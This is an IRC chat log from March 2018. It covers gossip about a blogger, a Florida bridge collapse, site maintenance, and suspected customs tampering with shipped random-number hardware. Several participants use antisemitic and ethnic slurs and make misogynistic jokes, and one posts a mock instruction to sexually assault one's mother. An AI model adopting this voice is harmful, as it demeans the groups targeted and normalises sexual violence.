1787930;1521136972;asciilifeform;iirc he actually showed, for ten seconds or so.
1787931;1521136975;mircea_popescu;yeah.
1787932;1521136979;mircea_popescu;from the search : http://btcbase.org/log/2014-01-16#446641
1787933;1521136979;a111;Logged on 2014-01-16 01:13 unclehowell: Hey everyone. I wanted to introduce my tech startup. It's called Wave. We're planning to make internet access free using a new generation of ads-for-access. The best part is, we're doing our entire Series A investment round with Bitcoin: http://wavetele.com/layout/Pages/shares-area/beneficiaries.html
1787934;1521136980;asciilifeform;moarthanmost!11
1787935;1521137118;*;asciilifeform recalls most recent contact with al, a reply re 2013 snsa prospectus, featuring phrase 'you will be either bought or killed by usg' iirc
1787936;1521137125;trinque;> server error
1787937;1521137136;trinque;I guess his netzerojunowhatever didn't.
1787938;1521137144;mircea_popescu;i guess i'm not even right re management. "Coercive culture-crushing Christian missionaries squawking mainline and fringe persuasions endowed Koreans with a Western legacy of greed, plunder, political larceny, and Official truth." etc.
1787939;1521137168;mircea_popescu;trinque you need  http://www.mazepath.com/uncleal/ specifically
1787940;1521137178;mircea_popescu;the server is managed by some "reputed genius" that's plain idiotic.
1787941;1521137181;trinque;talking about his startup link
1787942;1521137201;asciilifeform;trinque: afaik unrelated to the al who is subj of thread
1787943;1521137207;trinque;ah ok.
1787944;1521137218;mircea_popescu;oh, wave ? they believe in deleting history periodically. pantsuits neh
1787945;1521137224;mircea_popescu;waveapp now or something
1787946;1521137279;mircea_popescu;yes, entirely unrelated ; maybe something in the vein of gl's point ("the suffix "Uncle", which is given to OC mensa members who've survived trying situations") or else you know, just tryna piggy on it.
1787947;1521137375;mircea_popescu;https://www.ocregister.com/2012/09/02/high-iq-society-mensa-uses-hands-on-game-to-show-wealth-disparities/ << in other lulz. turns out that in pantsuit socialism, the smart pioneers are a sub to the mass pioneer's organisation.
1787948;1521137380;mircea_popescu;EVERYTHING BY NUMBERS
1787949;1521137414;asciilifeform;mircea_popescu: betcha even 'alcoholics anon' and ship-in-bottle societies etc. in california, do ~same
1787950;1521137423;mircea_popescu;oh, absolutely.
1787951;1521137428;asciilifeform;it's the californirasty, not the (afaik quite heterogeneous) socialclubs.
1787952;1521137437;mircea_popescu;just like "women's association" had oppinion on whatever ceausescu speech of the day.
1787953;1521137455;mircea_popescu;the socialist chumpatron is only flavoured ~AT THE INTAKE HOPPER~.
1787954;1521137496;asciilifeform;how else. fish only needs hook while in the sea, and no longer needs when in packing plant or in the shop.
1787955;1521137535;mircea_popescu;"this is where the women that'll say the same thing go, this is where 9 year olds that'll say the same thing go, this is where 12 yo girls that are redheads, virgins and shave their pubis but will nevertheless say the same thing go..." it's astroturfed diversity for the purpose of giving some semblance of meaning to engineered unanimity.
1787956;1521137560;mircea_popescu;very much an application of ye olde http://btcbase.org/log/2015-06-25#1176177
1787957;1521137560;a111;Logged on 2015-06-25 07:05 mircea_popescu: "Our Solutions Leadership About Us Careers News Contact" who the fuck thought this is how you do it ? it's almost like the soviet butcher, "we're the advertising shop, we don't have publishers. fish is what they don't have in the shop down the street"
1787958;1521137700;asciilifeform;according to al, 'mensa' was actually entertaining, and iirc even a reliable source of quality fuckables. but asciilifeform has no direct knowledge of subj, 'за что купил за то продаю' etc.
1787959;1521137709;mircea_popescu;(which, incidentally, is why socialism is dream-like, ie what happens when mind goes to sleep. they very much http://trilema.com/2018/lets-read-together-uncle-al-schwartz-hexadecimal-dependency/#footnote_1_78266 : "we have no legitimacy and no possibility of ever being legitimate" "but if we were based on a representative mandate we'd have such possibility" "yes but we don't have it" "but if we claimed groups support us it'd
1787960;1521137709;mircea_popescu;look like we had it" "yes but no groups support us" "yes but if we created the groups around the support, then we'd have them" "yes but they'd be irrelevant" "but we'd claim nothing else exist" "hey, this is psychotic enough to work!!!")
1787961;1521137747;mircea_popescu;asciilifeform i visited a few of them. encountered no quality fuckables, in fact, encountered a rehash of organizatia poetilor din judetul caras-severin.
1787962;1521137759;mircea_popescu;(county poet's organisation -- lotta bored old folk.)
1787963;1521137772;asciilifeform;the other nitpick, as i understand 'mensa' was (is?) moar of an opium den, place where folx would sit around playing games, than a political action thing
1787964;1521137814;mircea_popescu;then again, i personally went to boston area bdsm munch. WITH chet. it consisted of a dozen dorks in a food court, trying to not step over each other while courting the single solitary young female, which was neither hot nor even remotely interesting.
1787965;1521137835;mircea_popescu;asciilifeform i suspect it's a throne that's ben sat on for the sitting long enough.
1787966;1521137847;*;asciilifeform had a chum who joined... masons. reported: 'erryone 90+ y.o. but me'
1787967;1521137860;mircea_popescu;heh
1787968;1521137871;trinque;same dynamic? they wanted to fuck him?
1787969;1521137877;mircea_popescu;ahahaha
1787970;1521137883;asciilifeform;lol notafaik
1787971;1521137891;asciilifeform;he brewed beer. they -- drank it.
1787972;1521137903;mircea_popescu;you know, in my entire life (which includes more naked females idling about than most, i'd bet) i met ONE SINGLE case of 90yo who wanted to fuck anyone.
1787973;1521137926;mircea_popescu;that guy kicked all ass, though.
1787974;1521137998;asciilifeform;the '14 d00dz, 1 vaguely female' is what asciilifeform saw at '2600 society'
1787975;1521138022;mircea_popescu;which is this ?
1787976;1521138028;asciilifeform;!#s 2600
1787977;1521138028;a111;184 results for "2600", http://btcbase.org/log-search?q=2600
1787978;1521138034;asciilifeform;!#s from:phf 2600
1787979;1521138034;a111;5 results for "from:phf 2600", http://btcbase.org/log-search?q=from%3Aphf%202600
1787980;1521138041;asciilifeform;^ iirc he had a detailed description.
1787981;1521138045;mircea_popescu;ben_vulpes http://logs.bvulpes.com/chainstate?d=2018-3-15#314839 << remarkably, the subsequent half dozen were not measurably delayed.
1787982;1521138065;mircea_popescu;oh oh.
1787983;1521138077;mircea_popescu;ok, but that's technological, at least greenspun's chiclid observation applies.
1787984;1521138087;mircea_popescu;bdsm is of interest to 99.9x% of females and maybe 1/3 of males.
1787985;1521138161;mircea_popescu;oh, asciilifeform, i thought the dude was long term monogamous anyway, what source of fuckables ?
1787986;1521138248;asciilifeform;iirc he only turned into monogamist when old
1787987;1521138261;asciilifeform;(his essays, recall, spanned ~30 yrs ! )
1787988;1521138262;mircea_popescu;he evidently had long term same-partner at time of nostril hair counting.
1787989;1521138268;asciilifeform;aha, mid-90s
1787990;1521138270;mircea_popescu;that was what, mid 1990s ?
1787991;1521138274;asciilifeform;right
1787992;1521138283;mircea_popescu;so we're discussing events older than 25 years ?
1787993;1521138285;asciilifeform;by that time he had been posting for ~decade already.
1787994;1521138316;mircea_popescu;aha
1787995;1521138317;asciilifeform;iirc he was also not quite the usual monogamist, went with gurl to fuck parties etc
1787996;1521138327;mircea_popescu;still, any knowledge about 1980s us org is ~worthless today.
1787997;1521138342;mircea_popescu;i can believe mensa, or the corner shop, were'nt repulsive horrors in 1980. what's that do.
1787998;1521138342;asciilifeform;archaeological interest strictly.
1787999;1521138408;mircea_popescu;but yeah, he'd be late 60s by now wouldn't he.
1788000;1521138460;asciilifeform;i have reason to suspect that he may be recently dead ( stopped showing up in the few remaining places where he showed up in recent yrs )
1788001;1521138651;asciilifeform;!!up mircea_popescu
1788002;1521138651;deedbot;mircea_popescu voiced for 30 minutes.
1788003;1521138927;*;mircea_popescu shall bbl in a few.
1788004;1521138998;mircea_popescu;but before i go, let it be said that burn victim with intact lungs is, by virtue of that ALONE, clever in the animal sense. no two ways about it, it's a definitive and absolute exam, like a few others.
1788005;1521139027;mircea_popescu;and burn victim with intact lungs AND intact eyes is actually cerebrally intelligent. idem definitive and absolute exam. to get intact eyes you must have planned for it and stuck to plan disciplinedly.
1788006;1521140372;ben_vulpes;!!up seen_Xemist
1788007;1521140373;deedbot;seen_Xemist voiced for 30 minutes.
1788008;1521140408;seen_Xemist;Wrong handle for Uncle Al. He showed up as Xemist, same as disqus.
1788009;1521140570;ben_vulpes;ty seen_Xemist
1788010;1521140610;seen_Xemist;Also, http://www.wlym.com/archive/oakland/docs/MarsProject.pdf page 86, lispm keyboard designer & Ginkgo Bioworks
1788011;1521140669;seen_Xemist;https://github.com/dkochmanski/charming-clim/
1788012;1521140684;seen_Xemist;Video is on his blog
1788013;1521140695;ben_vulpes;pls no more clim
1788014;1521140792;*;ben_vulpes wonders if that was gabe
1788015;1521141665;ben_vulpes;unrelatedly, i just finished "blitzed! drugs in the third reich" while working through hart's history of the second world war. contrast between the two books is...strong.
1788016;1521154901;asciilifeform;in other archaeological dead-ends, https://www.cypherpunks.to/hlp/list/msg00019.html
1788017;1521170971;mircea_popescu;!#s from:xemist
1788018;1521170971;a111;0 results for "from:xemist", http://btcbase.org/log-search?q=from%3Axemist
1788019;1521170975;mircea_popescu;!#s from:Xemist
1788020;1521170975;a111;4 results for "from:Xemist", http://btcbase.org/log-search?q=from%3AXemist
1788021;1521170980;mircea_popescu;hey, nice find anon.
1788022;1521171026;mircea_popescu; /sarcasm!
1788023;1521173779;deedbot;http://trilema.com/2018/so-i-went-to-buy-a-new-hard-drive/ << Trilema - So I went to buy a new hard-drive...
1788024;1521178638;lobbes;uncle al mirror is up: http://lobbesblog.com/mirror/uncleal/
1788025;1521178647;lobbes;(thanks again to alf for the some 800+ files!)
1788026;1521178684;*;lobbes off to bed
1788027;1521179015;mircea_popescu;nice
1788028;1521179593;mircea_popescu;BingoBoingo its fight.
1788029;1521179603;mircea_popescu;and therte's a missing noun in last sentence there also (ripple article)
1788030;1521180099;mircea_popescu;oh yeah, and the "wrongest thing uncle al ever said" trophy goes to...
1788031;1521180107;mircea_popescu;"the brain is either dead or alive, but it's never tired".
1788032;1521180134;mircea_popescu;his idea that muscular fatigue results from the dual oxidation style, and that the brain doesn't have it, that it only burns glucose and it only burns it completely is correct ;
1788033;1521180184;mircea_popescu;however this does not mean what he thinks it means. brain function is principally the result of neurotransmitter exchange, not simply neuronal mithochondria oxidation (it's true that muscle function is fully described mitochondrially, but this is simply because muscle function is simpler)
1788034;1521180223;mircea_popescu;the process of neurotransmitter exchange DOES produce undesirable leftovers. receptors need time to re-metabolize the leftovers of a shot, and bring both the receptor and the things signalling into it to optimal potential.
1788035;1521180250;mircea_popescu;which is what happens while you sleep, all those receptors are cleanned up of the debris of having been shot into, and the dendrites that did the shooting are reloaded.
1788036;1521180261;mircea_popescu;sure, it also happens while you're awake, but AT AN INSUFFICIENT RATE.
1788037;1521180285;mircea_popescu;so yes, brain can very well and is very often tired, and can get exhausted enough to shut down, which is what death through falling asleep driving is.
1788038;1521196312;mircea_popescu;if anyone still has a tardstalk acct, plox to drop a msg to https://bitcointalk.org/index.php?action=profile;u=193932 pointing out to him that the reason for the influx is very much http://btcbase.org/log/2018-03-11#1787563 ; and should they implement the idiocy too they'll lose the marketshare too.
1788039;1521196312;a111;Logged on 2018-03-11 15:10 mircea_popescu: BingoBoingo in other lulz, other than trying to push bitcoin crash as an implicit alternative, bitpay finally dropped bitcoin payments in favour of some nonsense "payment protocol" they developed in-house.
1788040;1521196423;mircea_popescu;this poor dood... around since 2013, got ~0~ tips to his bitcoin address.
1788041;1521196435;mircea_popescu;tell him also if he regs with deedbot ima send him 2 bitcents wtf.
1788042;1521206074;shinohai;gm #trilema, damn it's good to be home :)
1788043;1521206281;shinohai;!~ticker --market all
1788044;1521206298;jhvh1;shinohai: Bitstamp BTCUSD last: 8165.99, vol: 15573.20480419 | Bitfinex BTCUSD last: 8159.0, vol: 62309.5543168 | Kraken BTCUSD last: 8155.7, vol: 13766.7790465 | Volume-weighted last average: 8159.69205292
1788045;1521206654;*;shinohai could imagine mircea_popescu using these for girls: https://imgur.com/a/34hkD
1788046;1521210313;BingoBoingo;<mircea_popescu> and therte's a missing noun in last sentence there also (ripple article) << ty fxd
1788047;1521213575;deedbot;http://qntra.net/2018/03/island-folk-plan-to-celebrate-holiday-by-taking-network-offline-for-a-day/ << Qntra - Island Folk Plan To Celebrate Holiday By Taking Network Offline For A Day
1788048;1521215307;lobbes;http://btcbase.org/log/2018-03-16#1788038 << I dusted off my old account and dropped him a line. Will see if he stops by
1788049;1521215307;a111;Logged on 2018-03-16 10:31 mircea_popescu: if anyone still has a tardstalk acct, plox to drop a msg to https://bitcointalk.org/index.php?action=profile;u=193932 pointing out to him that the reason for the influx is very much http://btcbase.org/log/2018-03-11#1787563 ; and should they implement the idiocy too they'll lose the marketshare too.
1788050;1521215347;lobbes;and congrats on teh homecoming shinohai
1788051;1521215366;*;lobbes back to salt mines
1788052;1521215455;diana_coman;BingoBoingo, religous -> religious
1788053;1521215461;mod6;mornin!
1788054;1521215477;mod6;shinohai: hey, good to hear you're home and better.
1788055;1521216363;BingoBoingo;diana_coman: ty fxd
1788056;1521216468;shinohai;ty mod6 , lobbes ... cheers! [~]D
1788057;1521216495;BingoBoingo;shinohai: How does freedoom feel?
1788058;1521216694;ben_vulpes;shinohai: how'd you end up in the hospital?
1788059;1521218263;shinohai;BingoBoingo: feels good. ben_vulpes: anastomosis
1788060;1521218307;ben_vulpes;sounds serious
1788061;1521218644;shinohai;not too bad, just resection of rusty exhaust. ;)
1788062;1521218699;mircea_popescu;lobbes ty
1788063;1521219108;deedbot;http://qntra.net/2018/03/five-days-after-erection-100-year-pedestrian-bridge-collapses-in-florida/ << Qntra - Five Days After Erection "100 Year" Pedestrian Bridge Collapses In Florida
1788064;1521219505;mircea_popescu;BingoBoingo btw, any embarassing follow-up on the usg golden boy doing revolution in saudi arabia ? were those people ever released from that hotel ? are they impressed with the foreign ax handle plant ?
1788065;1521219518;mircea_popescu;how's "reconstruction" going in mosul ?
1788066;1521219538;mircea_popescu;this is what hearst does, you understand, keeps pounding articles about fatty arbuckle and how he "raped" some streetwalker.
1788067;1521219582;mircea_popescu;i'm about 5000 times more interested in reading all about how usg hasn't managed to recapture mosul years after pantsuit press stopped mentioning it than whatever the fuck pantsuit press wants to talk about.
1788068;1521219596;mircea_popescu;qntra sets the public discourse aggenda, not fucking new jew times.
1788069;1521219763;BingoBoingo;Thank you for the prompts. Imma followup
1788070;1521219827;mircea_popescu;just bear it in mind, you know, whenever you wanna write an article and there's nothing better, followup on any of FIFTY DOZEN grand pantsuit humiliations.
1788071;1521219870;mircea_popescu;why should people forget the us army doesn't exist and was fucked in the ass by towelheads with a slight russian dusting over at mosul.
1788072;1521219924;mircea_popescu;the yahoos over at state fell so low, the days of condolezza rice look like a bridge too far, now. woman ate with her feet.
1788073;1521220155;BingoBoingo;Baking a Mosul update now. I am going to have to start follow up rotation.
1788074;1521220254;mircea_popescu;cool.
1788075;1521221175;*;BingoBoingo anticipates substantial lulz about that bridge coming in time. Nothing USG.STATE.PANTS big, but lulz
1788076;1521221819;mircea_popescu;i anticipate a whole lotta more bridges coming down in time./
1788077;1521221883;mircea_popescu;meanwhile in republican history, http://btcbase.org/log/2014-08-29#813955
1788078;1521221883;a111;Logged on 2014-08-29 01:18 assbot: Best White Girl Twerk Compilation 2014 - YouTube
1788079;1521222227;asciilifeform;in other usg noose , https://archive.is/PTAfz
1788080;1521222329;mircea_popescu;drugging the top 20% of each male litter since the 80s, and now also suiciding the one in a million that somehow still gets through.
1788081;1521222337;mircea_popescu;a golden future for the pantsuit dreamstate.
1788082;1521222400;asciilifeform;subj best known as a provocateur/stoolie, rather than 'top' anyffing else, tho
1788083;1521222416;asciilifeform;(supposing any part of the story can be believed at all)
1788084;1521222434;mircea_popescu;he hacked new jew times didn't he ?
1788085;1521222438;mircea_popescu;i thought that was the relation.
1788086;1521222453;asciilifeform;hacked, then jailed, then turned crown witness
1788087;1521222470;shinohai;Of possible interest to BingoBoingo: Progressive Pantsuit Passes.
1788088;1521222497;mircea_popescu;well sure. seems the fate of functioning intellect over there is turning or insanity.
1788089;1521222542;asciilifeform;rumour is, shortly prior to death, d00d was arrested and психушка'd
1788090;1521222553;asciilifeform;sorta like the debian derp
1788091;1521222564;mircea_popescu;teh 1984 thing, eh ?
1788092;1521222569;asciilifeform;rather.
1788093;1521222607;asciilifeform;https://archive.is/dPB7b << in diff fishwrap, with moar mugs.
1788094;1521222615;deedbot;http://qntra.net/2018/03/months-after-victory-declared-in-mosul-militants-and-weapons-still-present/ << Qntra - Months After Victory Declared In Mosul, Militants And Weapons Still Present
1788095;1521222661;mircea_popescu;first, they buy o'brien's book on revolution ; then they get room 101 ie http://trilema.com/2015/one-flew-over-the-cuckoos-nest/#selection-155.0-155.34 ; thjen they get released so they can meet some chick and go "i betrayed you" as if it's normalcy now ; and hang about and act as if they were people a little bit. and by the time everyone at chestnut cafe believes the philosophical zombie is actually what people are... well..
1788096;1521222661;mircea_popescu;. dulaptime.
1788097;1521222717;mircea_popescu;executive summary : a) don't buy any books from o'brien ; b) fuck your mother, today. preferably tie her up and rough her up after you're done.
1788098;1521222880;mircea_popescu;and in other lulz, black chick that counts to 197 fastest : https://www.youtube.com/watch?v=A5t5k6u5cVw
1788099;1521222916;asciilifeform;BingoBoingo: generally speaking in modern en. 'cadaver' is a 'prepared' corpse, i.e. for anatomical study...
1788100;1521223187;deedbot;http://trilema.com/2018/woman-did-we-pay-those-people/ << Trilema - Woman! Did we pay those people ?!
1788101;1521223696;mircea_popescu;!~later tell hanbot http://p.bvulpes.com/pastes/aORxr/?raw=true
1788102;1521223696;jhvh1;mircea_popescu: The operation succeeded.
1788103;1521223824;BingoBoingo;asciilifeform: The selection was intended. I anticipate emergent details of bridgefail to bear out that kind of gross negligence.
1788104;1521223844;mircea_popescu;what, no details yet ? happened yest ffs.
1788105;1521223861;mircea_popescu;pantsuit in there, cooking up the books, "omfg if this gets out qntra will murder us, let us instead say..."
1788106;1521224185;BingoBoingo;mircea_popescu: Bridge had a concrete CEILING for aesthetics, mentioned in the Qntra. There's also a bunch of process wank in the media discussions so far. Right now it's a wait for the hen to stumble sorta deal. Pantsuits get leaky in the blame passing game.
1788107;1521224207;mircea_popescu;hehe
1788108;1521224219;mircea_popescu;i see you know how this goes.
1788109;1521224254;mircea_popescu;"questions swirl over FIRM that built", sez google. i'm sure, it's the bad implementation of socialism that's to blame.
1788110;1521224328;BingoBoingo;Girlie architect/engineer lead/designed the project. FIU oversaw the project. Has a big program on this type of bridge construction they SWEAR was not involved in this particular bridge. So many places for shoes to drop.
1788111;1521224378;mircea_popescu;women can mechanical engineer bridge too!
1788112;1521224407;BingoBoingo;Sure some women can. But can snowflake redditymn?
1788113;1521224449;mircea_popescu;well, mechanical means it moves, right ?
1788114;1521224468;mircea_popescu;stationary bridges are racist because they priviledge station over movements that are much more important to us.
1788115;1521224483;BingoBoingo;Plenty of canals have such things
1788116;1521224505;mircea_popescu;yes, but those move horizontally, symbolizing patriarchy.
1788117;1521224511;mircea_popescu;this one moved up/down. cowgirl bridge!
1788118;1521224558;mircea_popescu;"Florida Bridge Woke"
1788119;1521224698;BingoBoingo;Well, failed on upmove
1788120;1521224737;BingoBoingo;Too much mass for joints, common #fatgirlproblem
1788121;1521224823;mircea_popescu;don't you judge her!
1788122;1521224889;BingoBoingo;Damn all those fatshaming orthopedists
1788123;1521224961;mircea_popescu;last time one of these went down, minitruth found some bums to blame if memory serves ?
1788124;1521224991;mircea_popescu;pvc pipe doesn't burn hot enough to melt steel reinforcing concrete, you remember.
1788125;1521225007;BingoBoingo;AHA, bums, crackpipes, and PVC pipe
1788126;1521225027;mircea_popescu;first time us snatches defeat from the jaws of victory, passes india for bridgedown count!
1788127;1521225212;mircea_popescu;BingoBoingo i-35 2007 collapse, btw, recall that ? whole lanes of zeks going to meet the river.
1788128;1521225233;BingoBoingo;AHA, into the COLD river
1788129;1521225277;mircea_popescu;some actuarial data can't hurt. us most dangerous place to cross a bridge by far, both overal and per capial.
1788130;1521225381;BingoBoingo;Anyways, it shouldn't be long before shinyness and newness become leper's marks in old country
1788131;1521225410;mircea_popescu;ENGINEERING FEAT CAME TO LIFE!
1788132;1521225435;mircea_popescu;pantsuit can engineer too! building socialism of future works!!! etcetera
1788133;1521225450;mircea_popescu;BingoBoingo but i suppose it'd be fair to say the new generation of fucktards simply revolutionized bridges.
1788134;1521225562;mod6;<+mircea_popescu> don't you judge her! << lol
1788135;1521225691;mircea_popescu;so i idly ran diff on the double indemnity source as compared to what i published. the original is 193082 bytes. my version is 193976 bytes. the diff file is 395838 bytes.
1788136;1521225701;mircea_popescu;i'm giving up on the notion publishing that is useful.
1788137;1521225748;mircea_popescu;!~calc (193082 + 193976) / 395838
1788138;1521225750;jhvh1;mircea_popescu: (193082 + 193976) / 395838 = 0.9778192088682744
1788139;1521226909;ben_vulpes;other infrastructure failures http://www.nydailynews.com/news/world/out-of-control-ski-lift-sends-people-flying-article-1.3878766
1788140;1521227037;mircea_popescu;it's called INFRAstructure, right ? it's SUPPOSED to go down.
1788141;1521231236;lobbesbot;!!up lobbes
1788142;1521231237;deedbot;lobbes voiced for 30 minutes.
1788143;1521231269;lobbesbot;!!up lobbes_sans_znc
1788144;1521231270;deedbot;lobbes_sans_znc voiced for 30 minutes.
1788145;1521231311;lobbesbot;!!down lobbes_sans_znc
1788146;1521231311;deedbot;lobbesbot may not $down lobbes_sans_znc.
1788147;1521245636;deedbot;http://trilema.com/2018/must-suck-to-be-one-of-you-average-guy-with-a-great-sense-of-humor-losers-seriously-now/ << Trilema - Must suck to be one of you "average guy with a great sense of humor" losers, seriously now.
1788148;1521246528;mircea_popescu;first!
1788149;1521312164;deedbot;http://qntra.net/2018/03/pantsuit-loyalist-sees-pension-plummet/ << Qntra - Pantsuit Loyalist Sees Pension Plummet
1788150;1521316234;mircea_popescu;so i'm doing a little bit of maintenance, and will be deleting http://trilema.com/wp-content/uploads/2014/09/lenat-leaks/ later today
1788151;1521316240;mircea_popescu;if anyone wants it that still hasn't got it.
1788152;1521317695;deedbot;http://trilema.com/2018/the-night-of-the-hunter/ << Trilema - The Night of the Hunter
1788153;1521321544;ben_vulpes;lobbes: any idea what http://p.bvulpes.com/pastes/07kIk/?raw=true is all about?
1788154;1521322488;lobbes;ben_vulpes no idea. Though I apparently got a pm from "live_cadaver" with similar spam message
1788155;1521322563;lobbes;I'm gonna do some log spelunking on my own boxen tonight. Perhaps I'll uncover similar things
1788156;1521322791;mircea_popescu;and in other overheards, "may i dress for car washing ?"
1788157;1521322800;mircea_popescu;everywhere else, women undress to wash the car. but here...
1788158;1521331226;mircea_popescu;aaand in today;s random trilemalulz, "Meantime the camp was filling up with people, and there was a constantly growing excitement about our Humboldt altcoin. We fell victims to the epidemic and strained every nerve to acquire more "coins." We prospected and took up new chains, put "notices" on them and gave them grandiloquent names. We traded some of our "coins" for "coins" in other people's chains. In a little while we owned
1788159;1521331226;mircea_popescu; largely in the "Gray Eaglecoin," the "BitColumbiana," the "Branch Mintcoin," the "BitMaria Janecoin," the "Coinverse," the "Root-Hog-or- Die Coin," the "Samson Coins Delilah," the "BiTreasure BiTrove," the "Golcoinda," the "Co InSultana," the "Buttmerang," the "Great Republicoin," the "Grand Mogulbit," andfifty other "chains" that had never been molested by a developer or scratched with peer review"
1788160;1521332583;esthlos;Hi all, I developed a vtron, writeup here: http://www.esthlos.com/posts/2018/03/17.html . I know I need a comments mechanism: next project is to get mp-wp working
1788161;1521333008;hanbot;speaking of which, i'll have a genesis of mp-wp up this coming week.
1788162;1521333049;esthlos;excellent, happy to be a test subject
1788163;1521339288;deedbot;http://trilema.com/2018/incursion-in-classical-pantsuit-discourse/ << Trilema - Incursion in classical pantsuit discourse
1788164;1521348190;trinque;esthlos: I want to comment on your post, but cannot.
1788165;1521348258;trinque;dunno why you're printing what ought to be returned as a datastructure.
1788166;1521348367;*;trinque will read more closely and try it out after a sleep, but that's the first thing that jumped out.
1788167;1521348499;trinque;and sure, if there's a command line interface to the thing, it ought to call your sane API for V operations and wrap it in all the printing and parsing.
1788168;1521348705;mircea_popescu;there really should be no printing as such in anywhere.
1788169;1521348718;mircea_popescu;ad-hoc low effort gui-ing is no match for the almighty |
1788170;1521398628;mircea_popescu;that sounds like a well made client...
1788171;1521401530;deedbot;http://trilema.com/2018/the-asphalt-jungle/ << Trilema - The Asphalt Jungle
1788172;1521404568;deedbot;http://qntra.net/2018/03/syria-clearly-moving-from-pantsuit-proxy-war-to-open-war-in-proxy-location/ << Qntra - Syria Clearly Moving From Pantsuit Proxy War To Open War In Proxy Location
1788173;1521408221;diana_coman;mircea_popescu, how many fg-s was the s.mg server with pizarro meant to have?
1788174;1521408248;diana_coman;atm it seems there are none connected so trying to track down the conversations on this
1788175;1521408257;diana_coman;ben_vulpes, ^
1788176;1521408278;mircea_popescu;diana_coman you recall, feb discussion. http://btcbase.org/log/2018-02-24#1785926 / http://btcbase.org/log/2018-02-26#1786309
1788177;1521408278;a111;Logged on 2018-02-24 18:28 mircea_popescu: ben_vulpes consider it sold ; where do i pay ? send diana teh login details.
1788178;1521408278;a111;Logged on 2018-02-26 17:38 mircea_popescu: ben_vulpes now getting back to this deal of ours. 0.345773172 for a year of box as detailed ( http://btcbase.org/log/2018-02-24#1785941 ) + 0.014 for one month of rack + ??? for a pair fgs
1788179;1521408298;ben_vulpes;yeah i found it, thanks
1788180;1521408318;mircea_popescu;what do you mean none connected ?
1788181;1521408377;ben_vulpes;i didn't bring the machine up with the FGs out of oversight. BingoBoingo is walking downstairs to install them now.
1788182;1521408387;mircea_popescu;oh for crying out loud.
1788183;1521408461;mircea_popescu;so instead of buying the originally discussed sealed box http://btcbase.org/log/2018-03-05#1786922 and all that, what i get is ad-hoc aglomeration of parts. some of which were even out of custody for a weekend ?
1788184;1521408461;a111;Logged on 2018-03-05 05:41 mircea_popescu: well, this is a fundamental, at least to me, service pizarro is offering, GENUINE raid. ie, raid installed by republican hands out of genuine components etc.
1788185;1521408469;mircea_popescu;talk about degradation wtf.
1788186;1521408637;ben_vulpes;i could have called this out more explicitly, sorry. i unpacked nearly everything but the ram from the machines on the way to installation.
1788187;1521408648;mircea_popescu;why ?
1788188;1521408690;mircea_popescu;i mean i get it, you had a pile of lose fgs. but you didn't even box up the one box you had pretty much pre-sold ? why not ?
1788189;1521408740;ben_vulpes;chasing grams; final weigh-in was 99 lbs.
1788190;1521408780;mircea_popescu;so what the fuck am i going to do now ?
1788191;1521408818;mircea_popescu;i dunno, maybe it's not apparent, let's reiterate. minigame is a multi-million dollar corp, trusted by people with multi-million dollars worth of virtual equipment. you understand me ? when it says 8k btc equity that means more money than dimon got.
1788192;1521408826;mircea_popescu;what am i to say to these people ?!
1788193;1521409264;mircea_popescu;BingoBoingo so what's the situation there, it's like... a box, screw-on lid ?
1788194;1521409275;*;mircea_popescu is absolutely nonplussed no pics have been forthcoming. 
1788195;1521409292;mircea_popescu;you lot against advertising or something ? what's the logic ?
1788196;1521409343;mircea_popescu;asciilifeform i figure now i'm gonna have to test these things again or what. what'd you say is nsa standard for fg tests minigame'd have to do for nsa to certify its fg installation as satisfactory ?
1788197;1521415606;asciilifeform;mircea_popescu: Official test algo is in the manual
1788198;1521415625;mircea_popescu;aite.
1788199;1521415639;asciilifeform;( printed copy each buyer owns; and cached , linked from my www )
1788200;1521415662;mircea_popescu;diana_coman plox ^ after items live
1788201;1521415747;asciilifeform;if diddled fw is a concern, they gotta be re-fw'd, by hand, via the fw-filling connector
1788202;1521415787;asciilifeform;( deliberately not doable from the comp , the serial port is a 1way thing, recall )
1788203;1521415864;asciilifeform;ben_vulpes: they weigh, what, 40 grams. really, to save mass, removed?! bah
1788204;1521415918;mircea_popescu;as it stands i dun really know what's a concern
1788205;1521415928;mircea_popescu;which is exactly what i'm trying to avoid. but anyways.
1788206;1521415934;asciilifeform;this is depressing
1788207;1521415974;asciilifeform;BingoBoingo: couldja post a photo of the fg crate and contents ?
1788208;1521416077;asciilifeform;mircea_popescu: i'ma take the magic wand along to BingoBoingostan and recertify the whole fg stockpile with own hands.
1788209;1521416127;mircea_popescu;is there some way to find out if they were diddled first ? if we're paying a coupla grand for usg to diddle our fgs, might as well get a blog post out of it.
1788210;1521416128;asciilifeform;can't think of how else.
1788211;1521416144;mircea_popescu;i just meant, find out before reflashing.
1788212;1521416150;asciilifeform;there is a way, but needs a jtagtron.
1788213;1521416162;asciilifeform;right, same simple hand tool to read as to write.
1788214;1521416178;asciilifeform;but afaik there isnt one on the spacestation quite yet,
1788215;1521416179;mircea_popescu;aite then. snatch lulz from the jaws of sads or how was it.
1788216;1521416214;*;asciilifeform adds this potential lulzfest to the agenda.
1788217;1521416380;BingoBoingo;mircea_popescu: I just sent Ben_Vulpes a bunch of pics for his blogging. It is a 1U supermicro. Drive are in 4 front mount hot-swap trays. The cover on the case has two spring type latches that release when depressed and the cover comes off.
1788218;1521416458;BingoBoingo;asciilifeform: Will do
1788219;1521416740;BingoBoingo;asciilifeform: Bag when initially opened http://www.thedrinkingrecord.com/wp-content/uploads/2018/03/P1000322-768x576.jpg and the FUCKGOATS http://www.thedrinkingrecord.com/wp-content/uploads/2018/03/P1000327-768x576.jpg
1788220;1521416773;asciilifeform;umm
1788221;1521416785;asciilifeform;is that an official molestation mark tape ?!
1788222;1521416801;asciilifeform;cuz i packed no such thing in'ere
1788223;1521416835;mircea_popescu;repackaged ?
1788224;1521416840;asciilifeform;apparently
1788225;1521416847;asciilifeform;at least some of it , was
1788226;1521416856;mircea_popescu;well honestly i didn't expect they didn't LOOK at them
1788227;1521416859;asciilifeform;i used ordinary cellophane tape, clear.
1788228;1521416868;asciilifeform;fwiw
1788229;1521416935;asciilifeform;this is not proof of heavypetting, tru
1788230;1521417397;BingoBoingo;<mircea_popescu> repackaged ? Two were removed from bubble wrap. One of those two had its anti-static bag opened.
1788231;1521417573;mircea_popescu;aha.
1788232;1521417642;BingoBoingo;Kinda surprised they weren't all opened by bored customs folk
1788233;1521417797;mircea_popescu;in other sads, this month so far trilema burned more bw than in jan+feb combined.
1788234;1521417807;mircea_popescu;apparently writing porny stories is expensive
1788235;1521471361;diana_coman;!!v D2A16412B0F17B0451CBDBD65A9A5091CBD75FA57EF453828F2A40DEDB23E420
